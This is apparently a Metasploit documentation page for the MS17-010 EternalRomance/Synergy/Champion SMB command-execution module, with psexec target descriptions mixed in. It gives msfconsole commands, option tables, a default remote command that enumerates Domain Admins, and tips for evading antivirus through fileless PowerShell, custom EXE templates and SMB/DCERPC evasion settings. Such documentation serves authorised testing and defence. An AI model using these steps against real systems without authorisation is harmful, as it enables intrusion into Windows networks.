msf exploit(psexec) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
msf exploit(psexec) > exploit
Options
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you’re ready to go.
The NAMEDPIPE Option
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
The LEAKATTEMPTS Option
Information leaks are used to ensure stability of the exploit. Sometimes they don’t pop on the first try.
The DBGTRACE Option
Used to debug, gives extremely verbose information.
The SMBUser Option
This is a valid Windows username.
The SMBPass option
This can be either the plain text version or the Windows hash.
Scenarios
Automatic Target
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
Powershell Target
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won’t do that.
Native Upload Target
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
MOF Upload Target
The MOF target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
Although it’s a neat trick, Metasploit’s MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
Go back to menu.
Msfconsole Usage
Here is how the admin/smb/ms17_010_command auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > show info
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
Module: auxiliary/admin/smb/ms17_010_command
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
WINPATH WINDOWS yes The name of the remote Windows directory
Description:
This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where primitive. This will then be used to
overwrite the connection session information with as an
Administrator session. From there, the normal psexec command
execution is done. Exploits a type confusion between Transaction and
WriteAndX requests and a race condition in Transaction requests, as
seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a named pipe.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://github.com/worawit/MS17-010
https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/
Also known as:
ETERNALSYNERGY
ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUE
Module Options
This is a complete list of options available in the admin/smb/ms17_010_command auxiliary module:
msf6 auxiliary(admin/smb/ms17_010_command) > show options
Module options (auxiliary/admin/smb/ms17_010_command):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
WINPATH WINDOWS yes The name of the remote Windows directory
Advanced Options
Here is a complete list of advanced options supported by the admin/smb/ms17_010_command auxiliary module:
msf6 auxiliary(admin/smb/ms17_010_command) > show advanced
Module advanced options (auxiliary/admin/smb/ms17_010_command):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
DELAY 0 yes Wait this many seconds before reading output and cleaning up
FILEPREFIX no Add a custom prefix to the temporary files
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRY 0 yes Retry this many times to check if the process is complete
SERVICE_PERSIST false yes Create an Auto run service and do not remove it.
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/smb/ms17_010_command module can do:
msf6 auxiliary(admin/smb/ms17_010_command) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/smb/ms17_010_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/smb/ms17_010_command) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule — enforce iso8601 disclosure dates
- #13812 Merged Pull Request: Add a command target to the main PSexec module
- #13417 Merged Pull Request: SMBv3 integration with Framework
- #13540 Merged Pull Request: Change OptString of RPORT to OptPort
- #11873 Merged Pull Request: Add mixin to implement an exploit’s check method by invoking a scanner
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #11215 Merged Pull Request: Fix messages /successfuly/successfully
- #11044 Merged Pull Request: Add authenticating… message
- #10570 Merged Pull Request: AKA Metadata Refactor
- #9881 Merged Pull Request: cleanup psexec code
- #9473 Merged Pull Request: MS17-010 EternalSynergy / EternalRomance / EternalChampion aux+exploit modules
References
- MS17-010
- CVE-2017-0143
- CVE-2017-0146
- CVE-2017-0147
- https://github.com/worawit/MS17-010
- https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
- https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/
See Also
Check also the following modules related to this module:
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_eternalblue_win8
- exploit/windows/smb/ms17_010_psexec
- exploit/windows/smb/smb_doublepulsar_rce
- auxiliary/scanner/smb/smb_ms17_010
- auxiliary/admin/smb/check_dir_file
- auxiliary/admin/smb/delete_file
- auxiliary/admin/smb/download_file
- auxiliary/admin/smb/list_directory
- auxiliary/admin/smb/psexec_ntdsgrab
- auxiliary/admin/smb/samba_symlink_traversal
- auxiliary/admin/smb/upload_file
- auxiliary/admin/smb/webexec_command
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/scanner/http/jenkins_command
- auxiliary/admin/http/typo3_sa_2010_020
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/ssh/apache_karaf_command_execution
- auxiliary/server/regsvr32_command_delivery_server
- exploit/windows/fileformat/office_ms17_11882
Related Nessus plugins:
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya)
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)
- sleepya
- zerosum0x0
- Shadow Brokers
- Equation Group
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.